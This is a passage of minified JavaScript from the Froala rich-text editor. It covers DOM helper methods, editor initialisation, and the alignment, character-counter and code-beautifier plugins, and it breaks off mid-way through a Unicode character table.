a=0;a<this.length;a++)this[a].tagName=t;else for(var o=0;o<this.length;o++)this[o].setAttribute(e,t);return this},removeAttr:function(e){for(var t=0;t<this.length;t++)this[t].removeAttribute&&this[t].removeAttribute(e);return this},hide:function(){return this.css("display","none"),this},show:function(){return this.css("display","block"),this},focus:function(){return this.length&&this[0].focus(),this},blur:function(){return this.length&&this[0].blur(),this},data:function(e,t){if(void 0!==t){for(var n=0;n<this.length;n++)"object"!==St(this[n]["data-"+e]=t)&&"function"!=typeof t&&this[n].setAttribute&&this[n].setAttribute("data-"+e,t);return this}if(void 0!==t)return this.attr("data-"+e,t);if(0===this.length)return undefined;for(var r=0;r<this.length;r++){var a=this[r]["data-"+e];if(null==a&&this[r].getAttribute&&(a=this[r].getAttribute("data-"+e)),void 0!==a&&null!=a)return a}return undefined},removeData:function(e){for(var t=0;t<this.length;t++)this[t].removeAttribute&&this[t].removeAttribute("data-"+e),this[t]["data-"+e]=null;return this},getCorrectStyleName:function(e){if(!p[e]){var t;e in o&&(t=e);for(var n=e[0].toUpperCase()+e.slice(1),r=i.length;r--;)(e=i[r]+n)in o&&(t=e);p[e]=t}return p[e]},css:function(e,t){if(void 0!==t){if(0===this.length)return this;("string"!=typeof t||""===t.trim()||isNaN(t))&&"number"!=typeof t||!/(margin)|(padding)|(height)|(width)|(top)|(left)|(right)|(bottom)/gi.test(e)||/(line-height)/gi.test(e)||(t+="px");for(var n=0;n<this.length;n++)e=C(this).getCorrectStyleName(e),this[n].style[e]=t;return this}if("string"==typeof e){if(0===this.length)return undefined;var r=this[0].ownerDocument||document,a=r.defaultView||r.parentWindow;return e=C(this).getCorrectStyleName(e),a.getComputedStyle(this[0])[e]}for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&&this.css(o,e[o]);return this},toggleClass:function(e,t){if(1<e.split(" ").length){for(var n=e.split(" "),r=0;r<n.length;r++)this.toggleClass(n[r],t);return this}for(var a=0;a<this.length;a++)void 0===t?this[a].classList.contains(e)?this[a].classList.remove(e):this[a].classList.add(e):t?this[a].classList.contains(e)||this[a].classList.add(e):this[a].classList.contains(e)&&this[a].classList.remove(e);return this},addClass:function(e){if(0===e.length)return this;if(1<e.split(" ").length){for(var t=e.split(" "),n=0;n<t.length;n++)this.addClass(t[n]);return this}for(var r=0;r<this.length;r++)this[r].classList.add(e);return this},removeClass:function(e){if(1<e.split(" ").length){for(var t=e.split(" "),n=0;n<t.length;n++)t[n]=t[n].trim(),t[n].length&&this.removeClass(t[n]);return this}for(var r=0;r<this.length;r++)e.length&&this[r].classList.remove(e);return this},getClass:function(e){return e.getAttribute&&e.getAttribute("class")||""},stripAndCollapse:function(e){return(e.match(/[^\x20\t\r\n\f]+/g)||[]).join(" ")},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&-1<(" "+C(this).stripAndCollapse(C(this).getClass(n))+" ").indexOf(t))return!0;return!1},scrollTop:function(e){if(void 0===e)return 0===this.length?undefined:this[0]===document?document.documentElement.scrollTop:this[0].scrollTop;for(var t=0;t<this.length;t++)this[t]===document?window.scrollTo(document.documentElement.scrollLeft,e):this[t].scrollTop=e},scrollLeft:function(e){if(void 0===e)return 0===this.length?undefined:this[0]===document?document.documentElement.scrollLeft:this[0].scrollLeft;for(var t=0;t<this.length;t++)this[t]===document?window.scrollTo(e,document.documentElement.scrollTop):this[t].scrollLeft=e},on:function(e,t,n){if(1<e.split(" ").length){for(var r=e.split(" "),a=0;a<r.length;a++)if(-1!==f.indexOf(e))for(var o=0;o<d.length;o++)this.on(d[o]+e[0].toUpperCase()+e.slice(1),t,n);else this.on(r[a],t,n);return this}n="function"==typeof t?g(t,null):g(n,t);for(var i=0;i<this.length;i++){var s=C(this[i]);s.data("events")||s.data("events",[]),s.data("events").push([e,n]);var l=e.split(".");l=l[0],/Android/i.test(navigator.userAgent)&&e.includes("touchend")||!(0<=c.indexOf(l))?s.get(0).addEventListener(l,n):s.get(0).addEventListener(l,n,{passive:!0})}},off:function(e){if(1<e.split(" ").length){for(var t=e.split(" "),n=0;n<t.length;n++)this.off(t[n]);return this}for(var r=0;r<this.length;r++){var a=C(this[r]);if(a.data("events")){var o=e.split(".");o=o[0];for(var i=a.data("events")||[],s=i.length-1;0<=s;s--){var l=i[s];l[0]==e&&(a.get(0).removeEventListener(o,l[1]),i.splice(s,1))}}}},trigger:function(e){for(var t=0;t<this.length;t++){var n=void 0;"function"==typeof Event?n=0<=e.search(/^mouse/g)?new MouseEvent(e,{view:window,cancelable:!0,bubbles:!0}):new Event(e):0<=e.search(/^mouse/g)?(n=document.createEvent("MouseEvents")).initMouseEvent(e,!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null):(n=document.createEvent("Event")).initEvent(e,!0,!0),0<=r.indexOf(e)&&"function"==typeof this[t][e]?this[t][e]():this[t].dispatchEvent(n)}},triggerHandler:function(){},val:function(e){if(void 0===e)return this[0].value;for(var t=0;t<this.length;t++)this[t].value=e;return this},siblings:function(){return C(this[0]).parent().children().not(this)},find:function(e){var t=C();if("string"!=typeof e){for(var n=0;n<e.length;n++)for(var r=0;r<this.length;r++)if(this[r]!==e[n]&&C(this[r]).contains(e[n])){t.push(e[n]);break}return t}var a=function a(e){return"object"===("undefined"==typeof HTMLElement?"undefined":St(HTMLElement))?e instanceof HTMLElement:e&&"object"===St(e)&&null!==e&&1===e.nodeType&&"string"==typeof e.nodeName};e=v(e);for(var o=0;o<this.length;o++)if(this[o].querySelectorAll){var i=[];if(e&&"string"==typeof e)try{i=this[o].querySelectorAll(e)}catch(l){i=this[o].children}else a(e)&&(i=[e]);for(var s=0;s<i.length;s++)t.push(i[s])}return t},children:function(){for(var e=C(),t=0;t<this.length;t++)for(var n=this[t].children,r=0;r<n.length;r++)e.push(n[r]);return e},not:function(e){if("string"==typeof e)for(var t=this.length-1;0<=t;t--)Element.prototype.matches.call(this[t],e)&&this.splice(t,1);else if(e instanceof m){for(var n=this.length-1;0<=n;n--)for(var r=0;r<e.length;r++)if(this[n]===e[r]){this.splice(n,1);break}}else for(var a=this.length-1;0<=a;a--)this[a]===e[0]&&this.splice(a,1);return this},add:function(e){for(var t=0;t<e.length;t++)this.push(e[t]);return this},closest:function(e){for(var t=0;t<this.length;t++){var n=Element.prototype.closest.call(this[t],e);if(n)return C(n)}return C()},html:function(e){if(void 0===e)return 0===this.length?undefined:this[0].innerHTML;if("string"==typeof e)for(var t=0;t<this.length;t++){this[t].innerHTML=e;for(var n=this[t].children,r=this[t].ownerDocument||document,a=0;a<n.length;a++)if("SCRIPT"===n[a].tagName){var o=r.createElement("script");o.innerHTML=n[a].innerHTML,n[a].hasAttribute("async")&&o.setAttribute("async",""),o.src=n[a].src,n[a].hasAttribute("defer")&&o.setAttribute("defer",""),r.head.appendChild(o).parentNode.removeChild(o)}}else{this[0].innerHTML="",this.append(e[0]);var i=this[0].ownerDocument||document;if("SCRIPT"===e[0].tagName){var s=i.createElement("script");s.innerHTML=e[0].innerHTML,i.head.appendChild(s).parentNode.removeChild(s)}}return this},text:function(e){if(!e)return this.length?this[0].textContent:"";for(var t=0;t<this.length;t++)this[t].textContent=e},after:function e(t){if(t)if("string"==typeof t)for(var n=0;n<this.length;n++){var e=this[n];if(e.nodeType!=Node.ELEMENT_NODE){var r=e.ownerDocument.createElement("SPAN");C(e).after(r),C(r).after(t).remove()}else e.insertAdjacentHTML("afterend",t)}else{var a=this[0];if(a.nextSibling)if(t instanceof m)for(var o=0;o<t.length;o++)a.nextSibling.parentNode.insertBefore(t[o],a.nextSibling);else a.nextSibling.parentNode.insertBefore(t,a.nextSibling);else C(a.parentNode).append(t)}return this},clone:function(e){for(var t=C(),n=0;n<this.length;n++)t.push(this[n].cloneNode(e));return t},replaceWith:function(e){if("string"==typeof e)for(var t=0;t<this.length;t++)this[t].parentNode&&(this[t].outerHTML=e);else if(e&&e.length)for(var n=0;n<this.length;n++)this.replaceWith(e[n]);else this.after(e).remove()},insertBefore:function(e){return C(e).before(this[0]),this},before:function e(t){if(t instanceof m){for(var n=0;n<t.length;n++)this.before(t[n]);return this}if(t)if("string"==typeof t)for(var r=0;r<this.length;r++){var e=this[r];if(e.nodeType!=Node.ELEMENT_NODE){var a=e.ownerDocument.createElement("SPAN");C(e).before(a),C(a).before(t).remove()}else e.parentNode&&e.insertAdjacentHTML("beforebegin",t)}else{var o=this[0];if(o.parentNode)if(t instanceof m)for(var i=0;i<t.length;i++)o.parentNode.insertBefore(t[i],o);else o.parentNode.insertBefore(t,o)}return this},append:function(e){if(0==this.length)return this;if("string"==typeof e)for(var t=0;t<this.length;t++){var n=this[t],r=n.ownerDocument.createElement("SPAN");C(n).append(r),C(r).after(e).remove()}else if(e instanceof m||Array.isArray(e))for(var a=0;a<e.length;a++)this.append(e[a]);else"function"!=typeof e&&this[0].appendChild(e);return this},prepend:function(e){if(0==this.length)return this;if("string"==typeof e)for(var t=0;t<this.length;t++){var n=this[t],r=n.ownerDocument.createElement("SPAN");C(n).prepend(r),C(r).before(e).remove()}else if(e instanceof m)for(var a=0;a<e.length;a++)this.prepend(e[a]);else{var o=this[0];o.firstChild?o.firstChild?o.insertBefore(e,o.firstChild):o.appendChild(e):C(o).append(e)}return this},remove:function(){for(var e=0;e<this.length;e++)this[e].parentNode&&this[e].parentNode.removeChild(this[e]);return this},prev:function(){return this.length&&this[0].previousElementSibling?C(this[0].previousElementSibling):C()},next:function(){return this.length&&this[0].nextElementSibling?C(this[0].nextElementSibling):C()},nextAllVisible:function(){return this.next()},prevAllVisible:function(){return this.prev()},outerHeight:function(e){if(0===this.length)return undefined;var t=this[0];if(t===t.window)return t.innerHeight;var n={},r=this.isVisible();if(!r)for(var a in s)n[a]=t.style[a],t.style[a]=s[a];var o=t.offsetHeight;if(e&&(o+=parseInt(C(t).css("marginTop"))+parseInt(C(t).css("marginBottom"))),!r)for(var i in s)t.style[i]=n[i];return o},outerWidth:function(e){if(0===this.length)return undefined;var t=this[0];if(t===t.window)return t.outerWidth;var n={},r=this.isVisible();if(!r)for(var a in s)n[a]=t.style[a],t.style[a]=s[a];var o=t.offsetWidth;if(e&&(o+=parseInt(C(t).css("marginLeft"))+parseInt(C(t).css("marginRight"))),!r)for(var i in s)t.style[i]=n[i];return o},width:function(e){if(e===undefined){if(this[0]instanceof HTMLDocument)return this[0].body.offsetWidth;if(this[0])return this[0].offsetWidth}else this[0].style.width=e+"px"},height:function(e){var t=this[0];if(e===undefined){if(t instanceof HTMLDocument){var n=t.documentElement;return Math.max(t.body.scrollHeight,n.scrollHeight,t.body.offsetHeight,n.offsetHeight,n.clientHeight)}return t.offsetHeight}t.style.height=e+"px"},is:function(e){return 0!==this.length&&("string"==typeof e&&this[0].matches?this[0].matches(e):e instanceof m?this[0]==e[0]:this[0]==e)},parent:function(){return 0===this.length?C():C(this[0].parentNode)},_matches:function(e,t){var n=e.matches||e.matchesSelector||e.msMatchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.oMatchesSelector;return e&&!t?n:n.call(e,t)},parents:function(e){for(var t=C(),n=0;n<this.length;n++)for(var r=this[n].parentNode;r&&r!=document&&this._matches(r);)e?this._matches(r,e)&&t.push(r):t.push(r),r=r.parentNode;return t},parentsUntil:function(e,t){var n=C();e instanceof m&&0<e.length&&(e=e[0]);for(var r=0;r<this.length;r++)for(var a=this[r].parentNode;a&&a!=document&&a!=e&&this[r]!=e&&("string"!=typeof e||!Element.prototype.matches.call(a,e));)t?Element.prototype.matches.call(a,t)&&n.push(a):n.push(a),a=a.parentNode;return n},insertAfter:function(e){var t=e.parent()[0];t&&t.insertBefore(this[0],e[0].nextElementSibling)},filter:function(e){var t=C();if("function"==typeof e)for(var n=0;n<this.length;n++)e.call(this[n],this[n])&&t.push(this[n]);else if("string"==typeof e)for(var r=0;r<this.length;r++)this[r].matches(e)&&t.push(this[r]);return t},offset:function(){if(0===this.length)return undefined;var e=this[0].getBoundingClientRect(),t=this[0].ownerDocument.defaultView;return{top:e.top+t.pageYOffset,left:e.left+t.pageXOffset}},position:function(){return{left:this[0].offsetLeft,top:this[0].offsetTop}},push:[].push,splice:[].splice},m.extend=function(e){e=e||{};for(var t=1;t<arguments.length;t++)if(arguments[t])for(var n in arguments[t])Object.prototype.hasOwnProperty.call(arguments[t],n)&&(e[n]=arguments[t][n]);return e},m.merge=function(e,t){for(var n=+t.length,r=0,a=e.length;r<n;r++)e[a++]=t[r];return e.length=a,e},m.map=function(e,t,n){var r,a,o=0,i=[];if(Array.isArray(e))for(r=e.length;o<r;o++)null!=(a=t(e[o],o,n))&&i.push(a);else for(o in e)null!=(a=t(e[o],o,n))&&i.push(a);return[].concat.apply([],i)};var L=function L(e,t){if(!e)return this;if("string"==typeof e&&"<"===e[0]){var n=document.createElement("DIV");return n.innerHTML=e,C(n.firstElementChild)}if(t=t instanceof m?t[0]:t,"string"!=typeof e)return e instanceof m?e:(this[0]=e,this.length=1,this);e=v(e);for(var r=(t||document).querySelectorAll(e),a=0;a<r.length;a++)this[a]=r[a];return this.length=r.length,this};L.prototype=m.prototype;var T=kt;function w(){this.doc=this.$el.get(0).ownerDocument,this.win="defaultView"in this.doc?this.doc.defaultView:this.doc.parentWindow,this.$doc=m(this.doc),this.$win=m(this.win),this.opts.pluginsEnabled||(this.opts.pluginsEnabled=Object.keys(T.PLUGINS)),this.opts.initOnClick?(this.load(T.MODULES),this.$el.on("touchstart.init",function(){m(this).data("touched",!0)}),this.$el.on("touchmove.init",function(){m(this).removeData("touched")}),this.$el.on("mousedown.init touchend.init dragenter.init focus.init",function r(e){if("false"!==this.$el.attr("contentEditable")||!this.opts.initOnClick){if("touchend"===e.type&&!this.$el.data("touched"))return!0;if(1===e.which||!e.which){this.$el.off("mousedown.init touchstart.init touchmove.init touchend.init dragenter.init focus.init"),this.load(T.MODULES),this.load(T.PLUGINS);var t=e.originalEvent&&e.originalEvent.originalTarget;if(t&&"IMG"===t.tagName&&m(t).trigger("mousedown"),"undefined"==typeof this.ul&&this.destroy(),"touchend"===e.type&&this.image&&e.originalEvent&&e.originalEvent.target&&m(e.originalEvent.target).is("img")){var n=this;setTimeout(function(){n.image.edit(m(e.originalEvent.target))},100)}this.ready=!0,this.events.trigger("initialized")}}}.bind(this)),this.events.trigger("initializationDelayed")):(this.load(T.MODULES),this.load(T.PLUGINS),m(this.o_win).scrollTop(this.c_scroll),"undefined"==typeof this.ul&&this.destroy(),this.ready=!0,this.events.trigger("initialized"))}if(T.Bootstrap=function(e,t,n){this.id=++T.ID,this.$=m;var r={};"function"==typeof t&&(n=t,t={}),n&&(t.events||(t.events={}),t.events.initialized=n),t&&t.documentReady&&(r.toolbarButtons=[["fullscreen","undo","redo","getPDF","print"],["bold","italic","underline","textColor","backgroundColor","clearFormatting"],["alignLeft","alignCenter","alignRight","alignJustify"],["formatOL","formatUL","indent","outdent"],["paragraphFormat"],["fontFamily"],["fontSize"],["insertLink","insertImage","quote"]],r.paragraphFormatSelection=!0,r.fontFamilySelection=!0,r.fontSizeSelection=!0,r.placeholderText="",r.quickInsertEnabled=!1,r.charCounterCount=!1),this.opts=Object.assign({},Object.assign({},T.DEFAULTS,r,"object"===St(t)&&t));var a=JSON.stringify(this.opts);T.OPTS_MAPPING[a]=T.OPTS_MAPPING[a]||this.id,this.sid=T.OPTS_MAPPING[a],T.SHARED[this.sid]=T.SHARED[this.sid]||{},this.shared=T.SHARED[this.sid],this.shared.count=(this.shared.count||0)+1,this.$oel=m(e),this.$oel.data("froala.editor",this),this.o_doc=e.ownerDocument,this.o_win="defaultView"in this.o_doc?this.o_doc.defaultView:this.o_doc.parentWindow,this.c_scroll=m(this.o_win).scrollTop(),this._init()},T.Bootstrap.prototype._init=function(){var e=this.$oel.get(0).tagName;this.$oel.closest("label").length;var t=function(){"TEXTAREA"!==e&&(this._original_html=this._original_html||this.$oel.html()),this.$box=this.$box||this.$oel,this.opts.fullPage&&(this.opts.iframe=!0),this.opts.iframe?(this.$iframe=m('<iframe src="about:blank" frameBorder="0">'),this.$wp=m("<div></div>"),this.$box.html(this.$wp),this.$wp.append(this.$iframe),this.$iframe.get(0).contentWindow.document.open(),this.$iframe.get(0).contentWindow.document.write("<!DOCTYPE html>"),this.$iframe.get(0).contentWindow.document.write("<html><head></head><body></body></html>"),this.$iframe.get(0).contentWindow.document.close(),this.iframe_document=this.$iframe.get(0).contentWindow.document,this.$el=m(this.iframe_document.querySelector("body")),this.el=this.$el.get(0),this.$head=m(this.iframe_document.querySelector("head")),this.$html=m(this.iframe_document.querySelector("html"))):(this.$el=m(this.o_doc.createElement("DIV")),this.el=this.$el.get(0),this.$wp=m(this.o_doc.createElement("DIV")).append(this.$el),this.$box.html(this.$wp)),setTimeout(w.bind(this),0)}.bind(this),n=function(){this.$box=m("<div>"),this.$oel.before(this.$box).hide(),this._original_html=this.$oel.val();var e=this;this.$oel.parents("form").on("submit.".concat(this.id),function(){e.events.trigger("form.submit")}),this.$oel.parents("form").on("reset.".concat(this.id),function(){e.events.trigger("form.reset")}),t()}.bind(this),r=function(){this.$el=this.$oel,this.el=this.$el.get(0),this.$el.attr("contenteditable",!0).css("outline","none").css("display","inline-block"),this.opts.multiLine=!1,this.opts.toolbarInline=!1,setTimeout(w.bind(this),0)}.bind(this),a=function(){this.$el=this.$oel,this.el=this.$el.get(0),this.opts.toolbarInline=!1,setTimeout(w.bind(this),0)}.bind(this),o=function(){this.$el=this.$oel,this.el=this.$el.get(0),this.opts.toolbarInline=!1,this.$oel.on("click.popup",function(e){e.preventDefault()}),setTimeout(w.bind(this),0)}.bind(this);this.opts.editInPopup?o():"TEXTAREA"===e?n():"A"===e?r():"IMG"===e?a():"BUTTON"===e||"INPUT"===e?(this.opts.editInPopup=!0,this.opts.toolbarInline=!1,o()):t()},T.Bootstrap.prototype.load=function(e){for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t)){if(this[t])continue;if(T.PLUGINS[t]&&this.opts.pluginsEnabled.indexOf(t)<0)continue;if(this[t]=new e[t](this),this[t]._init&&(this[t]._init(),this.opts.initOnClick&&"core"===t))return!1}},T.Bootstrap.prototype.destroy=function(){this.destrying=!0,this.shared.count--,this.events&&this.events.$off();var e=this.html&&this.html.get();if(this.opts.iframe&&(this.events.disableBlur(),this.win.focus(),this.events.enableBlur()),this.events&&(this.events.trigger("destroy",[],!0),this.events.trigger("shared.destroy",[],!0)),0===this.shared.count){for(var t in this.shared)Object.prototype.hasOwnProperty.call(this.shared,t)&&(this.shared[t]=null,T.SHARED[this.sid][t]=null);delete T.SHARED[this.sid]}this.$oel.parents("form").off(".".concat(this.id)),this.$oel.off("click.popup"),this.$oel.removeData("froala.editor"),this.$oel.off("froalaEditor"),this.core&&this.core.destroy(e),T.INSTANCES.splice(T.INSTANCES.indexOf(this),1)},kt.PLUGINS.align=function(a){var o=a.$;return{apply:function i(e){var t=a.selection.element();if(o(t).parents(".fr-img-caption").length)o(t).css("text-align",e);else{a.selection.save(),a.html.wrap(!0,!0,!0,!0),a.selection.restore();for(var n=a.selection.blocks(),r=0;r<n.length;r++)o(n[r]).css("text-align",e).removeClass("fr-temp-div"),""===o(n[r]).attr("class")&&o(n[r]).removeAttr("class"),""===o(n[r]).attr("style")&&o(n[r]).removeAttr("style");a.selection.save(),a.html.unwrap(),a.selection.restore()}},refresh:function r(e){var t=a.selection.blocks();if(t.length){var n=a.helpers.getAlignment(o(t[0]));e.find("> *").first().replaceWith(a.icon.create("align-".concat(n)))}},refreshOnShow:function s(e,t){var n=a.selection.blocks();if(n.length){var r=a.helpers.getAlignment(o(n[0]));t.find('a.fr-command[data-param1="'.concat(r,'"]')).addClass("fr-active").attr("aria-selected",!0)}},refreshForToolbar:function l(e){var t=a.selection.blocks();if(t.length){var n=a.helpers.getAlignment(o(t[0]));n=n.charAt(0).toUpperCase()+n.slice(1),"align".concat(n)===e.attr("data-cmd")&&e.addClass("fr-active")}}}},kt.DefineIcon("align",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),kt.DefineIcon("align-center",{NAME:"align-center",SVG_KEY:"alignCenter"}),kt.DefineIcon("align-justify",{NAME:"align-justify",SVG_KEY:"alignJustify"}),kt.RegisterCommand("align",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"Align Center",right:"Align Right",justify:"Align Justify"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.align.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="align"data-param1="\n '.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.icon.create("align-".concat(n)),'<span class="fr-sr-only">\n ').concat(this.language.translate(t[n]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.align.apply(t)},refresh:function(e){this.align.refresh(e)},refreshOnShow:function(e,t){this.align.refreshOnShow(e,t)},plugin:"align"}),kt.RegisterCommand("alignLeft",{type:"button",icon:"align-left",title:"Align Left",callback:function(){this.align.apply("left")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),kt.RegisterCommand("alignRight",{type:"button",icon:"align-right",title:"Align Right",callback:function(){this.align.apply("right")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),kt.RegisterCommand("alignCenter",{type:"button",icon:"align-center",title:"Align Center",callback:function(){this.align.apply("center")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),kt.RegisterCommand("alignJustify",{type:"button",icon:"align-justify",title:"Align Justify",callback:function(){this.align.apply("justify")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),Object.assign(kt.DEFAULTS,{charCounterMax:-1,charCounterCount:!0}),kt.PLUGINS.charCounter=function(r){var n,a=r.$,o=function o(){return(r.opts.iframe&&r.markdown&&r.markdown.isEnabled()?r.$el.text()||"":r.el.textContent||"").replace(/\u200B/g,"").length};function e(e){if(r.opts.charCounterMax<0)return!0;if(o()<r.opts.charCounterMax)return!0;var t=e.which;return!(!r.keys.ctrlKey(e)&&r.keys.isCharacter(t)||t===kt.KEYCODE.IME)||(e.preventDefault(),e.stopPropagation(),r.events.trigger("charCounter.exceeded"),!1)}function t(e){return r.opts.charCounterMax<0?e:a("<div>").html(e).text().length+o()<=r.opts.charCounterMax?e:(r.events.trigger("charCounter.exceeded"),"")}function i(e,t,n){return r.opts.charCounterMax<0||(e.includes('<span class="fr-emoticon')||e.includes('<i class="fa ')?!(o()>=r.opts.charCounterMax)||(r.events.trigger("charCounter.exceeded"),!1):a("<div>").html(e).text().length+o()<=r.opts.charCounterMax||(r.events.trigger("charCounter.exceeded"),!1))}function s(){if(r.opts.charCounterCount){var e=o()+(0<r.opts.charCounterMax?"/"+r.opts.charCounterMax:"");n.text("".concat(r.language.translate("Characters")," : ").concat(e)),r.opts.toolbarBottom&&n.css("margin-bottom",r.$tb.outerHeight(!0));var t=r.$wp.get(0).offsetWidth-r.$wp.get(0).clientWidth;0<=t&&("rtl"==r.opts.direction?n.css("margin-left",t):n.css("margin-right",t))}}return{_init:function l(){return!!r.$wp&&!!r.opts.charCounterCount&&((n=a(document.createElement("span")).attr("class","fr-counter")).css("bottom",r.$wp.css("border-bottom-width")),r.$second_tb?r.$second_tb.append(n):r.$wp.append(n),r.events.on("keydown",e,!0),r.events.on("paste.afterCleanup",t),r.events.on("keyup contentChanged input",function(){r.events.trigger("charCounter.update")}),r.events.on("html.beforeInsert",i),r.events.on("charCounter.update",s),r.events.trigger("charCounter.update"),void r.events.on("destroy",function(){a(r.o_win).off("resize.char".concat(r.id)),n.removeData().remove(),n=null}))},count:o}},kt.PLUGINS.codeBeautifier=function(){var e,t,n,r,j={};function x(r,e){var t={"@page":!0,"@font-face":!0,"@keyframes":!0,"@media":!0,"@supports":!0,"@document":!0},n={"@media":!0,"@supports":!0,"@document":!0};e=e||{},r=(r=r||"").replace(/\r\n|[\r\u2028\u2029]/g,"\n");var a=e.indent_size||4,o=e.indent_char||" ",i=e.selector_separator_newline===undefined||e.selector_separator_newline,s=e.end_with_newline!==undefined&&e.end_with_newline,l=e.newline_between_rules===undefined||e.newline_between_rules,c=e.eol?e.eol:"\n";"string"==typeof a&&(a=parseInt(a,10)),e.indent_with_tabs&&(o="\t",a=1),c=c.replace(/\\r/,"\r").replace(/\\n/,"\n");var d,f=/^\s+$/,p=-1,u=0;function h(){return(d=r.charAt(++p))||""}function g(e){var t,n=p;return e&&v(),t=r.charAt(p+1)||"",p=n-1,h(),t}function m(e){for(var t=p;h();)if("\\"===d)h();else{if(-1!==e.indexOf(d))break;if("\n"===d)break}return r.substring(t,p+1)}function v(){for(var e="";f.test(g());)h(),e+=d;return e}function b(){var e="";for(d&&f.test(d)&&(e=d);f.test(h());)e+=d;return e}function C(e){var t=p;for(e="/"===g(),h();h();){if(!e&&"*"===d&&"/"===g()){h();break}if(e&&"\n"===d)return r.substring(t,p)}return r.substring(t,p)+d}function E(e){return r.substring(p-e.length,p).toLowerCase()===e}function y(){for(var e=0,t=p+1;t<r.length;t++){var n=r.charAt(t);if("{"===n)return!0;if("("===n)e+=1;else if(")"===n){if(0===e)return!1;e-=1}else if(" "===n||"}"===n)return!1}return!1}var L=r.match(/^[\t ]*/)[0],T=new Array(a+1).join(o),w=0,A=0;for(var _,S,k,x={"{":function(e){x.singleSpace(),R.push(e),x.newLine()},"}":function(e){x.newLine(),R.push(e),x.newLine()},_lastCharWhitespace:function(){return f.test(R[R.length-1])},newLine:function(e){R.length&&(e||"\n"===R[R.length-1]||x.trim(),R.push("\n"),L&&R.push(L))},singleSpace:function(){R.length&&!x._lastCharWhitespace()&&R.push(" ")},preserveSingleSpace:function(){_&&x.singleSpace()},trim:function(){for(;x._lastCharWhitespace();)R.pop()}},R=[],N=!1,M=!1,O=!1,I="",D="";;){var B=b();_=""!==B;var F=-1!==B.indexOf("\n");if(D=I,!(I=d))break;if("/"===d&&"*"===g()){var P=0===w;(F||P)&&x.newLine(),R.push(C()),x.newLine(),P&&x.newLine(!0)}else if("/"===d&&"/"===g())F||"{"===D||x.trim(),x.singleSpace(),R.push(C()),x.newLine();else if("@"===d){x.preserveSingleSpace(),R.push(d);var $=(void 0,S=p,k=m(": , {}()[]/='\""),p=S-1,h(),k);$.match(/[ :]$/)&&(h(),$=m(": ").replace(/\s$/,""),R.push($),x.singleSpace()),($=$.replace(/\s$/,""))in t&&(A+=1,$ in n&&(O=!0))}else"#"===d&&"{"===g()?(x.preserveSingleSpace(),R.push(m("}"))):"{"===d?"}"===g(!0)?(v(),h(),x.singleSpace(),R.push("{}"),x.newLine(),l&&0===w&&x.newLine(!0)):(w++,L+=T,x["{"](d),N=O?(O=!1,A<w):A<=w):"}"===d?(w--,L=L.slice(0,-a),x["}"](d),M=N=!1,A&&A--,l&&0===w&&x.newLine(!0)):":"===d?(v(),!N&&!O||E("&")||y()?":"===g()?(h(),R.push("::")):R.push(":"):(M=!0,R.push(":"),x.singleSpace())):'"'===d||"'"===d?(x.preserveSingleSpace(),R.push(m(d))):" "===d?(M=!1,R.push(d),x.newLine()):"("===d?E("url")?(R.push(d),v(),h()&&(")"!==d&&'"'!==d&&"'"!==d?R.push(m(")")):p--)):(u++,x.preserveSingleSpace(),R.push(d),v()):")"===d?(R.push(d),u--):","===d?(R.push(d),v(),i&&!M&&u<1?x.newLine():x.singleSpace()):("]"===d||("["===d?x.preserveSingleSpace():"="===d?(v(),d="="):x.preserveSingleSpace()),R.push(d))}var H="";return L&&(H+=L),H+=R.join("").replace(/[\r\n\t ]+$/,""),s&&(H+="\n"),"\n"!=c&&(H=H.replace(/[\n]/g,c)),H}function Z(e,t){for(var n=0;n<t.length;n+=1)if(t[n]===e)return!0;return!1}function q(e){return e.replace(/^\s+|\s+$/g,"")}function R(e,t){return new a(e,t).beautify()}e=j,t="\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u